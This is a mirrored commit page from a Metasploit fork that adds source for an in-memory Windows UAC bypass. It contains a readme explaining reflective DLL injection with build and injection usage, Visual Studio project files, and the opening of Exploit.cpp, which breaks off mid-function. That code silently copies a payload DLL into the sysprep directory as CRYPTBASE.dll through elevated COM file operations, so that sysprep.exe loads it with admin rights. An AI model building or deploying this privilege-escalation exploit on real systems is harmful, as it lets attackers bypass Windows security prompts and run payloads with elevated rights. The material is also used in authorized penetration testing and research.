infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

In memory bypassuac

bug/bundler_fix
Meatballs 2013-08-27 00:13:19 +01:00
parent 05f1622fcb
commit 035e97523b
18 changed files with 1872 additions and 1 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

25
external/source/exploits/bypassuac_injection/LICENSE.txt vendored Normal file
View File

@ -0,0 +1,25 @@
Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted
provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list of
conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimer in the documentation and/or other materials provided
with the distribution.
* Neither the name of Harmony Security nor the names of its contributors may be used to
endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.

40
external/source/exploits/bypassuac_injection/Readme.md vendored Normal file
View File

@ -0,0 +1,40 @@
About
=====
Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process. As such the library is responsible for loading itself by implementing a minimal Portable Executable (PE) file loader. It can then govern, with minimal interaction with the host system and process, how it will load and interact with the host.
Injection works from Windows NT4 up to and including Windows 8, running on x86, x64 and ARM where applicable.
Overview
========
The process of remotely injecting a library into a process is two fold. Firstly, the library you wish to inject must be written into the address space of the target process (Herein referred to as the host process). Secondly the library must be loaded into that host process in such a way that the library's run time expectations are met, such as resolving its imports or relocating it to a suitable location in memory.
Assuming we have code execution in the host process and the library we wish to inject has been written into an arbitrary location of memory in the host process, Reflective DLL Injection works as follows.
* Execution is passed, either via CreateRemoteThread() or a tiny bootstrap shellcode, to the library's ReflectiveLoader function which is an exported function found in the library's export table.
* As the library's image will currently exists in an arbitrary location in memory the ReflectiveLoader will first calculate its own image's current location in memory so as to be able to parse its own headers for use later on.
* The ReflectiveLoader will then parse the host processes kernel32.dll export table in order to calculate the addresses of three functions required by the loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc.
* The ReflectiveLoader will now allocate a continuous region of memory into which it will proceed to load its own image. The location is not important as the loader will correctly relocate the image later on.
* The library's headers and sections are loaded into their new locations in memory.
* The ReflectiveLoader will then process the newly loaded copy of its image's import table, loading any additional library's and resolving their respective imported function addresses.
* The ReflectiveLoader will then process the newly loaded copy of its image's relocation table.
* The ReflectiveLoader will then call its newly loaded image's entry point function, DllMain with DLL_PROCESS_ATTACH. The library has now been successfully loaded into memory.
* Finally the ReflectiveLoader will return execution to the initial bootstrap shellcode which called it, or if it was called via CreateRemoteThread, the thread will terminate.
Build
=====
Open the 'rdi.sln' file in Visual Studio C++ and build the solution in Release mode to make inject.exe and reflective_dll.dll
Usage
=====
To test use the inject.exe to inject reflective_dll.dll into a host process via a process id, e.g.:
> inject.exe 1234
License
=======
Licensed under a 3 clause BSD license, please see LICENSE.txt for details.

20
external/source/exploits/bypassuac_injection/dll/reflective_dll.sln vendored Normal file
View File

@ -0,0 +1,20 @@

Microsoft Visual Studio Solution File, Format Version 10.00
# Visual C++ Express 2008
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "reflective_dll.vcproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

357
external/source/exploits/bypassuac_injection/dll/reflective_dll.vcproj vendored Normal file
View File

@ -0,0 +1,357 @@
<?xml version="1.0" encoding="Windows-1252"?>
<VisualStudioProject
ProjectType="Visual C++"
Version="9.00"
Name="reflective_dll"
ProjectGUID="{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
RootNamespace="reflective_dll"
Keyword="Win32Proj"
TargetFrameworkVersion="196613"
>
<Platforms>
<Platform
Name="Win32"
/>
<Platform
Name="x64"
/>
</Platforms>
<ToolFiles>
</ToolFiles>
<Configurations>
<Configuration
Name="Debug|Win32"
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
IntermediateDirectory="$(ConfigurationName)"
ConfigurationType="2"
CharacterSet="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="0"
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS"
MinimalRebuild="true"
BasicRuntimeChecks="3"
RuntimeLibrary="3"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="4"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
LinkIncremental="2"
GenerateDebugInformation="true"
SubSystem="2"
TargetMachine="1"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
<Configuration
Name="Debug|x64"
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
ConfigurationType="2"
CharacterSet="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
TargetEnvironment="3"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="0"
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS"
MinimalRebuild="true"
BasicRuntimeChecks="3"
RuntimeLibrary="3"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="3"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
LinkIncremental="2"
GenerateDebugInformation="true"
SubSystem="2"
TargetMachine="17"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
<Configuration
Name="Release|Win32"
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
IntermediateDirectory="$(ConfigurationName)"
ConfigurationType="2"
CharacterSet="2"
WholeProgramOptimization="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="2"
InlineFunctionExpansion="1"
EnableIntrinsicFunctions="true"
PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
RuntimeLibrary="0"
EnableFunctionLevelLinking="true"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="3"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
LinkIncremental="1"
GenerateDebugInformation="true"
SubSystem="2"
OptimizeReferences="2"
EnableCOMDATFolding="2"
TargetMachine="1"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
CommandLine="copy ..\Release\reflective_dll.dll ..\bin\"
/>
</Configuration>
<Configuration
Name="Release|x64"
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
ConfigurationType="2"
CharacterSet="2"
WholeProgramOptimization="0"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
TargetEnvironment="3"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="2"
InlineFunctionExpansion="1"
EnableIntrinsicFunctions="true"
FavorSizeOrSpeed="2"
WholeProgramOptimization="false"
PreprocessorDefinitions="WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;_WIN64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
RuntimeLibrary="0"
EnableFunctionLevelLinking="true"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="3"
CompileAs="2"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
OutputFile="$(OutDir)\$(ProjectName).x64.dll"
LinkIncremental="1"
GenerateDebugInformation="true"
SubSystem="2"
OptimizeReferences="2"
EnableCOMDATFolding="2"
TargetMachine="17"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
CommandLine="copy $(OutDir)\$(ProjectName).x64.dll ..\bin\"
/>
</Configuration>
</Configurations>
<References>
</References>
<Files>
<Filter
Name="Source Files"
Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
>
<File
RelativePath=".\src\ReflectiveDll.c"
>
</File>
<File
RelativePath=".\src\ReflectiveLoader.c"
>
</File>
</Filter>
<Filter
Name="Header Files"
Filter="h;hpp;hxx;hm;inl;inc;xsd"
UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
>
<File
RelativePath=".\src\ReflectiveDLLInjection.h"
>
</File>
<File
RelativePath=".\src\ReflectiveLoader.h"
>
</File>
</Filter>
</Files>
<Globals>
</Globals>
</VisualStudioProject>

270
external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj vendored Normal file
View File

@ -0,0 +1,270 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|ARM">
<Configuration>Debug</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|ARM">
<Configuration>Release</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}</ProjectGuid>
<RootNamespace>reflective_dll</RootNamespace>
<Keyword>Win32Proj</Keyword>
<ProjectName>bypassuac</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PlatformToolset>v120</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup>
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
<TargetName>$(ProjectName)-x86</TargetName>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
<TargetName>$(ProjectName)-x64</TargetName>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<TargetMachine>MachineX64</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX86</TargetMachine>
</Link>
<PostBuildEvent>
<Command>
</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
<ClCompile>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>true</BufferSecurityCheck>
<CompileAs>Default</CompileAs>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OutputFile>$(OutDir)$(ProjectName).arm.dll</OutputFile>
</Link>
<PostBuildEvent>
<Command>copy ..\ARM\Release\reflective_dll.arm.dll ..\bin\</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<CompileAs>CompileAsCpp</CompileAs>
</ClCompile>
<Link>
<OutputFile>$(OutDir)$(TargetName)$(TargetExt)</OutputFile>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX64</TargetMachine>
</Link>
<PostBuildEvent>
<Command>
</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="src\Exploit.cpp" />
<ClCompile Include="src\ReflectiveDll.c" />
<ClCompile Include="src\ReflectiveLoader.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="src\Exploit.h" />
<ClInclude Include="src\ReflectiveDLLInjection.h" />
<ClInclude Include="src\ReflectiveLoader.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

35
external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj.filters vendored Normal file
View File

@ -0,0 +1,35 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="src\ReflectiveDll.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\ReflectiveLoader.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\Exploit.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="src\ReflectiveDLLInjection.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\ReflectiveLoader.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\Exploit.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>

3
external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj.user vendored Normal file
View File

@ -0,0 +1,3 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
</Project>

76
external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp vendored Normal file
View File

@ -0,0 +1,76 @@
#include "Exploit.h"
void exploit()
{
const wchar_t *szElevDir = L"C:\\Windows\\System32\\sysprep";
const wchar_t *szElevDll = L"CRYPTBASE.dll";
const wchar_t *szElevDllFull = L"C:\\Windows\\System32\\sysprep\\CRYPTBASE.dll";
const wchar_t *szSourceDll = L"payload.dll"; // Need some IPC to randomize this if possible
const wchar_t *szElevExeFull = L"C:\\Windows\\System32\\sysprep\\sysprep.exe";
const wchar_t *szElevArgs = L"";
wchar_t path[MAX_PATH];
const wchar_t *szEIFOMoniker = NULL;
PVOID OldValue = NULL;
IFileOperation *pFileOp;
IShellItem *pSHISource = 0;
IShellItem *pSHIDestination = 0;
IShellItem *pSHIDelete = 0;
const IID *pIID_EIFO = &__uuidof(IFileOperation);
const IID *pIID_EIFOClass = &__uuidof(FileOperation);
const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);
GetTempPathW(MAX_PATH, path);
wcscat_s(path, MAX_PATH, szSourceDll);
if (CoInitialize(NULL) == S_OK)
{
// Disable WOW64 Redirection for x86 injection
Wow64DisableWow64FsRedirection(&OldValue);
if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**) &pFileOp) == S_OK)
{
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) == S_OK)
{
if (SHCreateItemFromParsingName((PCWSTR) path, NULL, *pIID_ShellItem2, (void**) &pSHISource) == S_OK)
{
if (SHCreateItemFromParsingName(szElevDir, NULL, *pIID_ShellItem2, (void**) &pSHIDestination) == S_OK)
{
